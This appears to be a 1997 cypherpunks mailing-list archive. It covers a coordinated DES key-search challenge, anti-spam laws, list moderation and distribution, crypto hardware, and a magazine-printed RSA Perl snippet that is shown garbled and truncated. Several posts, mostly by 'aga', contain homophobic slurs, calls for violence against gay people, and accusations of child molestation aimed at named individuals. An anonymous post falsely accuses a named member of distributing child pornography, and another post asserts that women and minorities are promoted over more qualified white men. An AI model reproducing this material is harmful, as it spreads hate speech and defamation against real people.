more qualified white, straight males. Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From ths at rz.tu-ilmenau.de Sun Feb 16 06:19:28 1997 From: ths at rz.tu-ilmenau.de (Thomas S.) Date: Sun, 16 Feb 1997 06:19:28 -0800 (PST) Subject: (fwd) DES challenge organisation In-Reply-To: <199702152256.WAA00403@server.test.net> Message-ID: Hi! (wow, what a distribution. I should mention that des-challenge is down this weekend, so the response may not be as expected.) >>>>> "Timothy" == Timothy C May writes: Timothy> At 11:02 PM +0000 2/15/97, Adam Back wrote: >> Thomas S writes: >>> [...] >>> >>> 5. The prize money will be split equally between Gutenberg and >>> EFF. There is a possibility of using part of it for stickers >>> or something similar, but don't count on it. >> Not a good idea. >> >> How can this be enforced? The RSADSI DES challenge is open to >> all comers, and how do you prove that someone who finds the key >> found it through this group effort? The client reports the key to the server, not to the user (very simple, and very simple ways to get around of course). In a nutshell: we can't enforce it, at least I can't see a way to do so. We certainly can't keep people from doing their own "treasure hunt". ... Timothy> A 2-4x factor is significant, and may warrant a Timothy> coordinated search. However, the various problems Timothy> implicit in coordinated searches are factors, too. Timothy> Also, an uncoordinated search solves the "prize" problem, Timothy> as whomever finds the key makes the contact with RSADSI. Indeed--that's what we try to avoid. Our project is not a race for money, it is a demonstration with a political impact. The main point in favour of a coordinated search is the availability of progress reports. Nobody can argue that the key was found by chance--as there is exact data about performance and the expected maximum duration for the search. Timothy> One of the problems with a coordinated search, if the Timothy> remaining keyspace to be doled out is publically Timothy> announced, is that as the keyspace is searched and a key Timothy> _not_ found, the remaining keyspace is increasingly more Timothy> tempting for "independent searchers" to search. Sort of Timothy> the way the odds on some lotteries actually become Timothy> "acceptable" as the lottery pot grows. The organizer of Timothy> the coordinated search must then, I surmise, keep the Timothy> assignments secret and dole out keyspace securely. This is a technical problem which is discussed at the moment. The keyspace will not be publically announced (and it wasn't during the last project). Thomas -- OOOO, OOOOOOOO, |, ths at rz.tu-ilmenau.de OO, OO, O, O, |, http://www.rz.tu-ilmenau.de/~ths/ O, O, O, |, ______ __ ___ O, O--O, O, O, |, | (_ |-|-` O, O, O, |, |homas __)te| |en OO, OO, O, O, |, OOOO, OOOOOOOO, |, not to be forwarded without permission From speidel at lightspeed.net Sun Feb 16 07:10:57 1997 From: speidel at lightspeed.net (zac) Date: Sun, 16 Feb 1997 07:10:57 -0800 (PST) Subject: (no subject) Message-ID: <199702161510.HAA17732@toad.com> UNSUBCRIBE CYPHERPUNKS lspeiel at lightspeed.net From emc at wire.insync.net Sun Feb 16 07:11:01 1997 From: emc at wire.insync.net (Eric Cordian) Date: Sun, 16 Feb 1997 07:11:01 -0800 (PST) Subject: Spam, Spam, Digital Postage, and Spam Message-ID: <199702161511.HAA17742@toad.com> From tcmay at got.net Sun Feb 16 07:11:04 1997 From: tcmay at got.net (Timothy C. May) Date: Sun, 16 Feb 1997 07:11:04 -0800 (PST) Subject: More on digital postage Message-ID: <199702161511.HAA17755@toad.com> At 1:09 AM -0500 2/16/97, Cynthia H. Brown wrote: >Here in Canada, the CRTC (Canadian Radio & Telecomms Commission) put >out rules limiting the time of day, etc. for phone spam (voice or >fax). Does anyone out there have the specifics of the CRTC regs? "Spam" has rapidly become one of those overused, overloaded, meaningless words. Everything bad on the Net these days is labelled "spam." For the phone example in Canada, just what is "spam"? -- Is it the semi-traditional definition of "spam," i.e., a phone call made to thousands of sites? (At the same time? Sequentially? How?) -- Is it a robo-dialer, with no human at the other end? -- Or is it merely an "unwanted phone call"? As I see it, the danger of criminalizing "unwanted phone calls" is obvious. (Though obviously the courts and prisons are not about to be filled up with people who committed the heinous crime of making an unrequested phone call.) The danger of all "junk mail" and "junk phone call" laws is that they give power to the government to decide on what is junk and what is not. Not something we should support. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From emc at wire.insync.net Sun Feb 16 07:11:10 1997 From: emc at wire.insync.net (Eric Cordian) Date: Sun, 16 Feb 1997 07:11:10 -0800 (PST) Subject: More on digital postage Message-ID: <199702161511.HAA17772@toad.com> Timothy C. May writes: > "Spam" has rapidly become one of those overused, overloaded, > meaningless words. Everything bad on the Net these days is labelled > "spam." The term "spam" has its origins in the well-known Monty Python Viking sketch, where a diner has breakfast menu offerings such as Spam, spam, spam, spam, eggs, and spam. This sequence of one repeated thing, with an occasional something else, reminds us of how our news spool looks after spam has happened. > For the phone example in Canada, just what is "spam"? > -- Is it the semi-traditional definition of "spam," i.e., a phone call made > to thousands of sites? (At the same time? Sequentially? How?) > -- Is it a robo-dialer, with no human at the other end? Calling one person a thousand times is certainly spam. Calling a thousand different people is probably "Excessive Multiple Calling", or some such acronym. > -- Or is it merely an "unwanted phone call"? This is definitely not spam. > As I see it, the danger of criminalizing "unwanted phone calls" is obvious. > (Though obviously the courts and prisons are not about to be filled up with > people who committed the heinous crime of making an unrequested phone call.) If someone is calling me every day, and I ask them nicely to stop, continued calling should be illegal harrassment. If I've never heard from them before, then a couple unwanted calls aren't a big deal. The same principle should apply if someone decides they have a Constitutional right to bang on my front door at 6 am each and every morning. > The danger of all "junk mail" and "junk phone call" laws is that they give > power to the government to decide on what is junk and what is not. > Not something we should support. I wouldn't mind laws against "repeated unwanted communication." That way I decide what is and is not junk, and the perpetrator is on notice that further waste of my time, fax paper, phone line, or mailbox space will not be viewed benevolently. -- Eric Michael Cordian 0+ O:.T:.O:. Mathematical Munitions Division "Do What Thou Wilt Shall Be The Whole Of The Law" From lucifer at dhp.com Sun Feb 16 07:18:42 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Sun, 16 Feb 1997 07:18:42 -0800 (PST) Subject: [STEGO] Degausser Message-ID: <199702161518.KAA10019@dhp.com> Embedded in Tim C. May's babblings are preposterous lies, wild distortions, child pornography (both as graphic descriptions and in JPEG format), ethnic slurs, and racial epithets. _ / ' | /><\ Tim C. May //[ `' ]\\ From hjk at ddorf.rhein-ruhr.de Sun Feb 16 07:25:57 1997 From: hjk at ddorf.rhein-ruhr.de (hjk) Date: Sun, 16 Feb 1997 07:25:57 -0800 (PST) Subject: MagicMoney Message-ID: <199702161525.HAA18339@toad.com> I finally got a copy of MagicMoney (from ftp://utopia.hacktic.nl). It is just the code (compiling without error), but there is no README or documentation at all.Can someone give me a hint,what to do with this package? Is there a documentation somesite? BTW utopia is the site,you can get all the export restricted stuff outside the US. Heinz-Juergen Keller email: hjk at ddorf.rhein-ruhr.de From junger at upaya.multiverse.com Sun Feb 16 07:26:05 1997 From: junger at upaya.multiverse.com (Peter D. Junger) Date: Sun, 16 Feb 1997 07:26:05 -0800 (PST) Subject: Crypto code published in magazines Message-ID: <199702161526.HAA18365@toad.com> Peter Gutmann writes: : I'm trying to find instances of crypto code published in computer magazines i : n : the last few years. I know of Blowfish in DDJ, are there cases of more : mainstream computer mags like Byte publishing crypto code (I know Byte did DE : S : in 1977, I'm hoping for something a bit more recent)?. Please mail or cc : replies directly to me, nntp.hks.net seems to have died :-(. : : Peter. If there are any responses I would be very interested in seeing them too. Thanks, Peter -- Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH EMAIL: junger at samsara.law.cwru.edu URL: http://samsara.law.cwru.edu NOTE: junger at pdj2-ra.f-remote.cwru.edu no longer exists From paul at fatmans.demon.co.uk Sun Feb 16 07:26:10 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Sun, 16 Feb 1997 07:26:10 -0800 (PST) Subject: Message-ID: <199702161526.HAA18383@toad.com> > > PS. His sexist comments are rubbish too. I usually like his crypto posts, > > however, as long as they are technical rather than legal... > > Paul's sexist comments are very interesting - I hope to find more time to > comment on them too. I don't know if they have the same kind of "affirmative > action" in the U.K. that they have in the U.S. - here if you find a woman > in the position of authority, there's a good chance that she was promoted > ahead of more qualified men to meet some quota, and is therefore incompetent. We do not have such laws as far as I`m aware (I try to know as little as possible about law and finance/econimics as I find them intensely boring, even if they are necessary knowledge as a proponent of freedom of action and speech) but in my experience a number of employers promote women ahead of men in order to avoid costly industrial tribunals brought for discrimination. I also believe for the same reasons a lot of known homosexuals, blacks, are promoted ahead of more qualified white, straight males. Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From jba at fl.net.au Sun Feb 16 07:26:13 1997 From: jba at fl.net.au (Jon Biddell) Date: Sun, 16 Feb 1997 07:26:13 -0800 (PST) Subject: (fwd) DES challenge organisation Message-ID: <199702161526.HAA18388@toad.com> How the hell do I get OFF this list ?? From ths at rz.tu-ilmenau.de Sun Feb 16 07:26:15 1997 From: ths at rz.tu-ilmenau.de (Thomas S.) Date: Sun, 16 Feb 1997 07:26:15 -0800 (PST) Subject: (fwd) DES challenge organisation Message-ID: <199702161526.HAA18395@toad.com> Hi! (wow, what a distribution. I should mention that des-challenge is down this weekend, so the response may not be as expected.) >>>>> "Timothy" == Timothy C May writes: Timothy> At 11:02 PM +0000 2/15/97, Adam Back wrote: >> Thomas S writes: >>> [...] >>> >>> 5. The prize money will be split equally between Gutenberg and >>> EFF. There is a possibility of using part of it for stickers >>> or something similar, but don't count on it. >> Not a good idea. >> >> How can this be enforced? The RSADSI DES challenge is open to >> all comers, and how do you prove that someone who finds the key >> found it through this group effort? The client reports the key to the server, not to the user (very simple, and very simple ways to get around of course). In a nutshell: we can't enforce it, at least I can't see a way to do so. We certainly can't keep people from doing their own "treasure hunt". ... Timothy> A 2-4x factor is significant, and may warrant a Timothy> coordinated search. However, the various problems Timothy> implicit in coordinated searches are factors, too. Timothy> Also, an uncoordinated search solves the "prize" problem, Timothy> as whomever finds the key makes the contact with RSADSI. Indeed--that's what we try to avoid. Our project is not a race for money, it is a demonstration with a political impact. The main point in favour of a coordinated search is the availability of progress reports. Nobody can argue that the key was found by chance--as there is exact data about performance and the expected maximum duration for the search. Timothy> One of the problems with a coordinated search, if the Timothy> remaining keyspace to be doled out is publically Timothy> announced, is that as the keyspace is searched and a key Timothy> _not_ found, the remaining keyspace is increasingly more Timothy> tempting for "independent searchers" to search. Sort of Timothy> the way the odds on some lotteries actually become Timothy> "acceptable" as the lottery pot grows. The organizer of Timothy> the coordinated search must then, I surmise, keep the Timothy> assignments secret and dole out keyspace securely. This is a technical problem which is discussed at the moment. The keyspace will not be publically announced (and it wasn't during the last project). Thomas -- OOOO, OOOOOOOO, |, ths at rz.tu-ilmenau.de OO, OO, O, O, |, http://www.rz.tu-ilmenau.de/~ths/ O, O, O, |, ______ __ ___ O, O--O, O, O, |, | (_ |-|-` O, O, O, |, |homas __)te| |en OO, OO, O, O, |, OOOO, OOOOOOOO, |, not to be forwarded without permission From aga at dhp.com Sun Feb 16 07:26:21 1997 From: aga at dhp.com (aga) Date: Sun, 16 Feb 1997 07:26:21 -0800 (PST) Subject: Dangerous Homosexuals on Usenet In-Reply-To: <51662D33w165w@bwalk.dm.com> Message-ID: Read this and you will understand why we must take heed of these dangerous homosexuals who have infiltrated Usenet in the past five years, ever since David Lawrence took over. J.D. Falk, the perverted child molester from the D.C. area has had a lot to do with this take-over by the homosexuals. Read Dr. Vulis's account of the last 10 years here: On Sat, 15 Feb 1997, Dr.Dimitri Vulis KOTM wrote: > Date: Sat, 15 Feb 97 08:30:15 EST > From: "Dr.Dimitri Vulis KOTM" > Reply-To: freedom-knights at jetcafe.org > To: cypherpunks at toad.com > Subject: Re: Moderation experiment almost over; "put up or shut up" > > Against Moderation writes: > > > aga writes: > > > > > > > ... Remember the previous cypherpunk who stated that the > > > > > gays "created and run usenet." > > > ... > > > It was on the list last month, and the person was serious and correct. > > > That is exactly why we must now kill all of usenet as it stands, for > > > a new heterosexual beginning. > > > > > > ... We are here to > > > "rip new assholes" in the faggots who have ruined the net thus far, > > > and to take over and make this net heterosexual oriented. > > > > So if I follow your argument, gays created and run usenet, and have > > Not true. Homos created Fidonet. Tom Jenkins was one. Normal people created > Usenet. (That is, some of the people who created Usenet may well have been > sexually attracted to people of the same sex in real life - I don't have a > problem with that - but none of them were "Usenet faggots" who tried to > suppress free speech). Now the homos, who ruined Fidonet through > censorship and UDP-like wars, are trying to take over Usenet with the same > disasterous results. > > > also ruined it thus far. Can you just clarify a few points? I'm > > trying to follow your premise here [which I don't necessarily > > believe], and it seems contradictory. > > > > * If gays ruined usenet, does that mean at one point usenet was a > > good thing before it was ruined? If so, gay people at least > > deserve credit for creating something good, even if they didn't > > manage to run it well. > > Suppose for argument's sake that the people who created Usenet all > happened to be gay. Why would "gay people" as a whole, most of whom > had nothing to do with it, deserve credit for it? > > > * If Usenet was created and ruined by terrible people, what exactly > > is your interest in it? Why don't you just create an alternate > > news network. You can easily do this using software these gay > > people have so graciously given you the source for, and then you > > could be the authority over the entire heterosexual news > > hierarchy. > > We were here first. I've been on Usenet for > 10 years, before most of the > scum that's trying to ruin it now. Besides, the homos will try to ruin any > alternative forum they think is used by their "enemies". Look how they've > been flooding the freedom-knights mailing list with shit. > > > * If people you consider gay can't hold any position of authority on > > the internet, why do you acknowledge their authority by trying to > > fight them in particular? I mean, what authority do these gay > > people have over a gay, ruined usenet that's so important you need > > to rip new assholes in them? > > > > I just don't understand whom you are fighting over what and why. > > Good question. I'm fighting against _actions that suppress speech - such > as complaints to postmasters that result in plug-pulling; or forged cancels. > If false complaints were universally ignored - cancels junked, postmaster > complaints junked, as they should be, then these actions would be just > speech, therefore not worthy of suppression. I don't want the homos to be > silenced, merely rendered impotent to silence others. > The queer named J.D. Falk and the little queer called Timmy Skirvin are also to blame for much of the shit we now have present today. Trust only Dave Hayes for an uncensored full-feed. From carolann at censored.org Sun Feb 16 07:27:45 1997 From: carolann at censored.org (Carol Anne Cypherpunk) Date: Sun, 16 Feb 1997 07:27:45 -0800 (PST) Subject: alt.cypherpunks.* groups make primenet.com Message-ID: <199702161527.HAA18421@toad.com> -----BEGIN PGP SIGNED MESSAGE----- Primenet.com has picked up the alt.cypherpunk feed. And, there was spam (yum, yum) on it already. Carol Anne Cypherpunk -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Uncensored from heavily.censored.org iQCVAwUBMwbyForpjEWs1wBlAQEOYQP/bU7uRm5YIMgSkH9QoRLm1UzUCcJ8kxoY okFp6cshYvn5zZf4Kp8z9eWh67ox8yN/Lsp8DzFRkS9xrmobX/5givMut304rN5+ p213AzjaEOhfaat5w4AWUPU1xAIkTnI0jqN4vslKQ0Y77fyrzRgwtCCvsw2VzCfv hPSSApmGuys= =mlts -----END PGP SIGNATURE----- Member Internet Society - Certified BETSI Programmer - Webmistress *********************************************************************** Carol Anne Braddock (cab8) carolann at censored.org 206.42.112.96 My Homepage The Cyberdoc *********************************************************************** From aga at dhp.com Sun Feb 16 08:28:56 1997 From: aga at dhp.com (aga) Date: Sun, 16 Feb 1997 08:28:56 -0800 (PST) Subject: Digest needed In-Reply-To: <199702152355.PAA00282@songbird.com> Message-ID: On Sat, 15 Feb 1997, Kent Crispin wrote: > Date: Sat, 15 Feb 1997 15:55:34 -0800 (PST) > From: Kent Crispin > Reply-To: freedom-knights at jetcafe.org > To: Dale Thorn > Cc: ichudov at algebra.com, dave at kachina.jetcafe.org, > freedom-knights at jetcafe.org, cypherpunks at toad.com > Subject: Re: Moderation experiment almost over; "put up or shut up" > > Dale Thorn allegedly said: > > > [...] > > > > If I understood the last several hundred messages correctly, they have > > tried to make the point that the cypherpunks mailing list (unedited) > > was more ideal than a newsgroup. If this is what Dave is offering, > > I'm surprised if more people don't jump on it. Then again, they > > took their good ol' time jumping onto cypherpunks-unedited. > > Dave is offering a single mailing list, which, while I am sure Dave is > a great person, still represents a single point of control and a > single point of failure. A distributed mailing list has a potential > for being much more robust, and for supporting a wide range of > viewpoints. Furthermore a distributed mailing list is an interesting > minor technical problem, and a good solution could have wide > applicability. > > So I think that people would like to get the distributed list going... > What is it going to do then, all run on the same majordomo? > -- > Kent Crispin "No reason to get excited", > kent at songbird.com,kc at llnl.gov the thief he kindly spoke... > PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 A3 46 2F Just make sure it all works on Linux. I think a -digest- would be in order, and if everybody uses the same program, you can make sure there are no duplicates. I will put up the address for Vulis to run. Now the cypherpunks all support the net.scum web-page, right? From aga at dhp.com Sun Feb 16 08:36:36 1997 From: aga at dhp.com (aga) Date: Sun, 16 Feb 1997 08:36:36 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <33066F12.60CB@gte.net> Message-ID: On Sat, 15 Feb 1997, Dale Thorn wrote: > Date: Sat, 15 Feb 1997 18:21:07 -0800 > From: Dale Thorn > Reply-To: freedom-knights at jetcafe.org > To: freedom-knights at jetcafe.org > Cc: ichudov at algebra.com, dave at kachina.jetcafe.org, cypherpunks at toad.com > Subject: Re: Moderation experiment almost over; "put up or shut up" > > Kent Crispin wrote: > > Dale Thorn allegedly said: > > > If I understood the last several hundred messages correctly, they have > > > tried to make the point that the cypherpunks mailing list (unedited) > > > was more ideal than a newsgroup. If this is what Dave is offering, > > > I'm surprised if more people don't jump on it. Then again, they > > > took their good ol' time jumping onto cypherpunks-unedited. > > > Dave is offering a single mailing list, which, while I am sure Dave is > > a great person, still represents a single point of control and a > > single point of failure. A distributed mailing list has a potential > > for being much more robust, and for supporting a wide range of > > viewpoints. Furthermore a distributed mailing list is an interesting > > minor technical problem, and a good solution could have wide > > applicability. > > So I think that people would like to get the distributed list going... > > I hope this doesn't duplicate the earlier message - if someone were > tracking all this activity and kept the lists informed about what > was available where - and particularly if the downloading could be > automatic as in the subscription lists - that would be ideal. > > I wanted to spend some time on alt.cypherpunks, but I haven't got > thru the subscription mail for the last few days yet. If there's > a scheme that works better than just ad-hoc looking, I'd sure like > to know. > You mean there is an alt.cypherpunks mailing list? That is not on my server. I have mail.cypherpunks though, and I thought that was the usenet newsgroup for cypherpunks. let's see what dejanews says about this one. How about every posting to alt.underground for the time being, until we get this matter settled? From aga at dhp.com Sun Feb 16 08:38:25 1997 From: aga at dhp.com (aga) Date: Sun, 16 Feb 1997 08:38:25 -0800 (PST) Subject: The EFF In-Reply-To: <33067467.55B4@gte.net> Message-ID: On Sat, 15 Feb 1997, Dale Thorn wrote: > Date: Sat, 15 Feb 1997 18:43:51 -0800 > From: Dale Thorn > Reply-To: freedom-knights at jetcafe.org > To: Toto > Cc: cypherpunks at algebra.com, cypherpunks at toad.com, > freedom-knights at jetcafe.org > Subject: Re: The EFF > > Toto wrote: > > Timothy C. May wrote: > > > At 9:36 AM -0800 2/14/97, Declan McCullagh wrote: > > It is my (limited) understanding that the EFF has discovered that > > the support that comes with private philanthropy from will o'wisp > > Bay Area 'liberals' doesn't carry the terrible burden of having to > > compete for the petty contributions of the UnRich. > > I have a brother-in-law who gives seminars to the Nouveau Riche in > > the Bay Area, teaching them how to give their money away to 'good' > > causes. I believe that one of the prime considerations in separating > > the 'good' causes from the 'bad' causes has something to do with the > > the proper wine being served with the cheese and cracker offerings > > during their cocktail parties. > > Wine and cheese are the key. You hit that one on the head. I tried > those Mensa parties in Beverly Hills a few times, but the girls want > you to kiss their hands like some kinda princesses or something, > whereas I think a simple handshake would suffice. So I just quit > going. Maybe this has something to do with why there are no c-punks > meetings in the L.A. area. > Dale, so you are in mensa? Did you have to take a test? From nobody at huge.cajones.com Sun Feb 16 08:43:16 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Sun, 16 Feb 1997 08:43:16 -0800 (PST) Subject: Dale: What a laff! Message-ID: <199702161643.IAA17153@mailmasher.com> Date: Sat, 15 Feb 1997 18:42:11 -0800 From: Dale Thorn Dale sagely wrote: :Wine and cheese are the key. You hit that one on the head. I tried :those Mensa parties in Beverly Hills a few times. Oh what a kidder this Dale is. At Mensa party no less!! Whatta farce! Still love you fella. From aga at dhp.com Sun Feb 16 09:04:44 1997 From: aga at dhp.com (aga) Date: Sun, 16 Feb 1997 09:04:44 -0800 (PST) Subject: Dave Hayes takes over Cypherpunks In-Reply-To: <199702161535.JAA27280@manifold.algebra.com> Message-ID: On Sun, 16 Feb 1997, Igor Chudov @ home wrote: > Date: Sun, 16 Feb 1997 09:35:27 -0600 (CST) > From: "Igor Chudov @ home" > Reply-To: freedom-knights at jetcafe.org > To: aga > Cc: ichudov at algebra.com, toto at sk.sympatico.ca, freedom-knights at jetcafe.org, > cypherpunks at algebra.com > Subject: Re: Dave Hayes takes over Cypherpunks > > aga wrote: > > On Sat, 15 Feb 1997, Igor Chudov @ home wrote: > > > Date: Sat, 15 Feb 1997 09:07:40 -0600 (CST) > > > From: "Igor Chudov @ home" > > > To: aga > > > Cc: toto at sk.sympatico.ca, freedom-knights at jetcafe.org, > > > cypherpunks at algebra.com > > > Subject: Re: Dave Hayes takes over Cypherpunks > > > > > > > ====================================== > > > > == This list is still experimental. == > > > > == admin ichudov at algebra.com == > > > > ====================================== > > > > > > > > > > Just fyi, I am removing this footer from the list config. > > > > > > It was here so that people could tell that the list was new and > > > glitches were likely to happen. > > > > > > > O.K. what are you doing, Igor? Is this a new cypherpunks list? > > This is ONE OF new cypherpunks lists. These lists will soon be > connected to each other so that people subscribed to any of them > will receive all article sent to each list. > > Kinda like USENET. > 10-4 It is like a new hierarchy, huh? {;-)-~ cmsg newgroup cypherpunks.cunt From bs-org at c2.net Sun Feb 16 09:12:24 1997 From: bs-org at c2.net (bs-org at c2.net) Date: Sun, 16 Feb 1997 09:12:24 -0800 (PST) Subject: DES and RSA crypto hardware from the free world Message-ID: <1.5.4.16.19970216171204.1a3781d8@c2.net> At 21:32 1997-02-15 -0200, John Ioannidis wrote: Sorry to correct you, but uti-maco is an old german company ... >I believe uti-Maco (a belgian company) has been using the Pijnenburg chips >for their boards. However, last I checked with them (about half a year ago) >the price of the boards was pretty steep -- of the order of $1K. > >Anyway, if the boards Peter is referring to are ready in the next couple >of months, I volunteer to write drivers for Linux and *BSD*. > >/ji > From pjb at 23kgroup.com Sun Feb 16 09:28:14 1997 From: pjb at 23kgroup.com (Paul J. Bell) Date: Sun, 16 Feb 1997 09:28:14 -0800 (PST) Subject: DFA Message-ID: <9702161715.AA00799@23kgroup.com> does anyone know what has happened to DFA, and the people who just a few months ago were publishing such encouraging results? have they gone underground, or perhaps been put underground, in a rather permanent way? isn't it strange how quite it has been on this subject? cheers, -paul From aga at dhp.com Sun Feb 16 09:35:35 1997 From: aga at dhp.com (aga) Date: Sun, 16 Feb 1997 09:35:35 -0800 (PST) Subject: Cypherpunks FAQ In-Reply-To: <199702161640.KAA28082@manifold.algebra.com> Message-ID: On Sun, 16 Feb 1997, Igor Chudov @ home wrote: > Date: Sun, 16 Feb 1997 10:40:15 -0600 (CST) > From: "Igor Chudov @ home" > Reply-To: freedom-knights at jetcafe.org > To: aga > Cc: freedom-knights at jetcafe.org > Subject: Re: Moderation experiment almost over; "put up or shut up" > > aga wrote: > > I have mail.cypherpunks though, and I thought that was > > the usenet newsgroup for cypherpunks. > > > > let's see what dejanews says about this one. > > > > How about every posting to alt.underground for the time being, > > until we get this matter settled? > > > > John, > > I think that you would be the best author for writing the official > alt.cypherpunks FAQ. I have no doubt that many readers will appreciate > your effort and it will win you a lot of new points with them. > > One thing is, you have a lot of ideas, and two, your writing style is > very good (you are a law doctor after all). > > The FAQ should not be necessarily very big. > > - Igor. > But I have never been on the cypherpunks mailing list. I only got involved because they were in the header of some F-K list mail. And I think that Dr. Vulis would be much better qualified than I would be. My Doctorate was in Law, but Dimitri did his in math and/or cryptography, which is more appropriate. All I can say is that it should be a list where everybody is required to state their sex and sexual orientation up front. And the rule MUST BE that you are a queer by default. We MUST have a correct sexual definition up front, and nobody is allowed to say, "I refuse to state my sexuality" because we then know that they are closet homosexuals. what we want is the truth up front. BTW, all five of the newsgroups in this header are available through dejanews for posting to, if you use them in the current order. the a.g.g. newsgroup ate dejanews gets your article posted to ANY other newsgroup, including alt.cypherpunks and cypherpunks.cunt From aba at dcs.ex.ac.uk Sun Feb 16 09:43:28 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Sun, 16 Feb 1997 09:43:28 -0800 (PST) Subject: Crypto code published in magazines In-Reply-To: <199702161254.HAA10775@upaya.multiverse.com> Message-ID: <199702102359.XAA01086@server.test.net> Peter Gutmann writes: > I'm trying to find instances of crypto code published in computer > magazines i n the last few years. I know of Blowfish in DDJ, are > there cases of more mainstream computer mags like Byte publishing > crypto code (I know Byte did DES in 1977, I'm hoping for something a > bit more recent)?. Well this code (an implementation of RSA) appeared in UK Computer Shopper (largest readership computer mag in UK) by Charlie Stross: print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: <199702161740.JAA06581@gulch.spe.com> From pjm at spe.com Sun Feb 16 09:56:01 1997 From: pjm at spe.com (Patrick May) Date: Sun, 16 Feb 1997 09:56:01 -0800 (PST) Subject: FBI_100 Message-ID: <199702161756.JAA24251@toad.com> From pjb at 23kgroup.com Sun Feb 16 09:56:04 1997 From: pjb at 23kgroup.com (Paul J. Bell) Date: Sun, 16 Feb 1997 09:56:04 -0800 (PST) Subject: DFA Message-ID: <199702161756.JAA24257@toad.com> does anyone know what has happened to DFA, and the people who just a few months ago were publishing such encouraging results? have they gone underground, or perhaps been put underground, in a rather permanent way? isn't it strange how quite it has been on this subject? cheers, -paul From aga at dhp.com Sun Feb 16 09:56:10 1997 From: aga at dhp.com (aga) Date: Sun, 16 Feb 1997 09:56:10 -0800 (PST) Subject: The EFF Message-ID: <199702161756.JAA24277@toad.com> On Sat, 15 Feb 1997, Dale Thorn wrote: > Date: Sat, 15 Feb 1997 18:43:51 -0800 > From: Dale Thorn > Reply-To: freedom-knights at jetcafe.org > To: Toto > Cc: cypherpunks at algebra.com, cypherpunks at toad.com, > freedom-knights at jetcafe.org > Subject: Re: The EFF > > Toto wrote: > > Timothy C. May wrote: > > > At 9:36 AM -0800 2/14/97, Declan McCullagh wrote: > > It is my (limited) understanding that the EFF has discovered that > > the support that comes with private philanthropy from will o'wisp > > Bay Area 'liberals' doesn't carry the terrible burden of having to > > compete for the petty contributions of the UnRich. > > I have a brother-in-law who gives seminars to the Nouveau Riche in > > the Bay Area, teaching them how to give their money away to 'good' > > causes. I believe that one of the prime considerations in separating > > the 'good' causes from the 'bad' causes has something to do with the > > the proper wine being served with the cheese and cracker offerings > > during their cocktail parties. > > Wine and cheese are the key. You hit that one on the head. I tried > those Mensa parties in Beverly Hills a few times, but the girls want > you to kiss their hands like some kinda princesses or something, > whereas I think a simple handshake would suffice. So I just quit > going. Maybe this has something to do with why there are no c-punks > meetings in the L.A. area. > Dale, so you are in mensa? Did you have to take a test? From bs-org at c2.net Sun Feb 16 09:56:15 1997 From: bs-org at c2.net (bs-org at c2.net) Date: Sun, 16 Feb 1997 09:56:15 -0800 (PST) Subject: DES and RSA crypto hardware from the free world Message-ID: <199702161756.JAA24294@toad.com> At 21:32 1997-02-15 -0200, John Ioannidis wrote: Sorry to correct you, but uti-maco is an old german company ... >I believe uti-Maco (a belgian company) has been using the Pijnenburg chips >for their boards. However, last I checked with them (about half a year ago) >the price of the boards was pretty steep -- of the order of $1K. > >Anyway, if the boards Peter is referring to are ready in the next couple >of months, I volunteer to write drivers for Linux and *BSD*. > >/ji > From aga at dhp.com Sun Feb 16 09:56:16 1997 From: aga at dhp.com (aga) Date: Sun, 16 Feb 1997 09:56:16 -0800 (PST) Subject: Dave Hayes takes over Cypherpunks Message-ID: <199702161756.JAA24295@toad.com> On Sun, 16 Feb 1997, Igor Chudov @ home wrote: > Date: Sun, 16 Feb 1997 09:35:27 -0600 (CST) > From: "Igor Chudov @ home" > Reply-To: freedom-knights at jetcafe.org > To: aga > Cc: ichudov at algebra.com, toto at sk.sympatico.ca, freedom-knights at jetcafe.org, > cypherpunks at algebra.com > Subject: Re: Dave Hayes takes over Cypherpunks > > aga wrote: > > On Sat, 15 Feb 1997, Igor Chudov @ home wrote: > > > Date: Sat, 15 Feb 1997 09:07:40 -0600 (CST) > > > From: "Igor Chudov @ home" > > > To: aga > > > Cc: toto at sk.sympatico.ca, freedom-knights at jetcafe.org, > > > cypherpunks at algebra.com > > > Subject: Re: Dave Hayes takes over Cypherpunks > > > > > > > ====================================== > > > > == This list is still experimental. == > > > > == admin ichudov at algebra.com == > > > > ====================================== > > > > > > > > > > Just fyi, I am removing this footer from the list config. > > > > > > It was here so that people could tell that the list was new and > > > glitches were likely to happen. > > > > > > > O.K. what are you doing, Igor? Is this a new cypherpunks list? > > This is ONE OF new cypherpunks lists. These lists will soon be > connected to each other so that people subscribed to any of them > will receive all article sent to each list. > > Kinda like USENET. > 10-4 It is like a new hierarchy, huh? {;-)-~ cmsg newgroup cypherpunks.cunt From aba at dcs.ex.ac.uk Sun Feb 16 09:56:18 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Sun, 16 Feb 1997 09:56:18 -0800 (PST) Subject: Crypto code published in magazines Message-ID: <199702161756.JAA24302@toad.com> Peter Gutmann writes: > I'm trying to find instances of crypto code 